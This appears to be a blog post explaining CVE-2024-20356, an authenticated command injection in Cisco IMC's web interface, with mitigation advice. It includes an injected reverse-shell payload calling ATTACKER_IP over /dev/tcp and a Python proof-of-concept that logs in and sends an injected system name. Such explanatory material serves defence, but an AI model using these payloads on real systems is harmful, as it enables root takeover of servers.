A new security vulnerability, CVE-2024-20356, has been uncovered in Cisco Integrated Management Controller (IMC), affecting its web-based management interface. This issue is especially critical because it allows an *authenticated* attacker with Administrator privileges to execute arbitrary commands on the underlying operating system, effectively escalating their privileges to root. This post breaks down how the vulnerability works, how an attack could be executed, and ways to mitigate the risk. All information is provided in easy-to-understand language, focusing specifically on real-world scenarios.

- Cisco Official Advisory
- NIST CVE Record

What is Cisco IMC?

Cisco Integrated Management Controller (IMC) is a management interface used on many Cisco servers, allowing administrators to control and monitor hardware over a web dashboard. The IMC is intended for trusted environments – but a flaw in its web interface means attackers inside your network (with admin accounts) could exploit this "trust".

How does CVE-2024-20356 work?

The vulnerability exists because user input sent to certain forms in the IMC web interface isn't properly sanitized. Basically, if an attacker sends input containing special shell characters (like ; or &&), the backend can interpret these as commands — letting the attacker run whatever commands they want on the server, as root.

Attack Prerequisite:
The attacker must already be authenticated as an Administrator on the web interface (so this is not a remote/unauthenticated bug). But once inside, the attacker can go far beyond what the web UI says they should be able to do.

Example Exploit Scenario

Imagine someone with Admin access decides to inject a command. Let's say there's a form in IMC where administrators can specify a system name.

Regular Use

System Name: server-01

Backend executes (for example)

hostname server-01

Malicious Input

System Name: server-01; id

Backend executes

hostname server-01; id

In this case, the id command also runs - displaying user details as root.

The attacker can use this technique to gain a root shell. Here’s a crafted payload as an example

System Name: server-01; bash -i >& /dev/tcp/ATTACKER_IP/4444 >&1

When this is processed, the system makes a connection to the attacker's machine, giving root shell access.

Example Exploit Snippet (Python)

Below is a sample *proof-of-concept* Python script that shows the attack workflow. Replace fields as appropriate for your environment:

import requests

# Credentials for the IMC Administrator user
username = 'admin'
password = 'yourpassword'

# Target Cisco IMC IP address
target = 'https://target-imc.example.com';

# Malicious payload for command injection
malicious_system_name = 'server-01; id > /tmp/root_was_here.txt'

# URL endpoint and form data structure may vary by IMC version
payload = {
    'system_name': malicious_system_name
}

# Log in and maintain session (you may need to adapt this)
with requests.Session() as s:
    # Authenticate (may differ by IMC version)
    r = s.post(f'{target}/login', data={'username': username, 'password': password}, verify=False)
    if 'Logout' not in r.text:
        print("Login failed!")
        exit()

    # Send payload
    r = s.post(f'{target}/system_settings', data=payload, verify=False)
    if r.status_code == 200:
        print("Payload sent; check /tmp/root_was_here.txt on target")
    else:
        print("Request failed.")

Disclaimer: For research and authorized testing only! Never use against systems without permission.

Scope: Any Cisco IMC web interface exposed to admins

- Risk: Full root access to underlying hardware/OS
- Attackers Need: Administrator credentials (or ability to phish/brute-force an admin)

Why this matters:
While *only* admins can exploit this, many organizations give admin access too broadly or have weak internal controls. Once attackers are in, they can plant backdoors, exfiltrate credentials, or disable security mechanisms.

Mitigation and Remediation

Cisco has released patched software versions for affected IMC platforms. If you’re running a vulnerable version, update immediately.

References

- Cisco Security Advisory: cisco-sa-cimc-cmdinject-PH45DjAa
- Official Software Downloads

Conclusion

CVE-2024-20356 highlights the importance of input validation, even on trusted admin interfaces. If you use Cisco IMC in your data center, this vulnerability is a serious warning: audit your access, apply patches, and keep a close eye on admin activity.

Stay safe, and keep your servers patched.
If you have questions, comment below or visit the Cisco advisory for updates.


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Timeline

Published on: 04/24/2024 20:15:07 UTC
Last modified on: 06/04/2024 17:40:42 UTC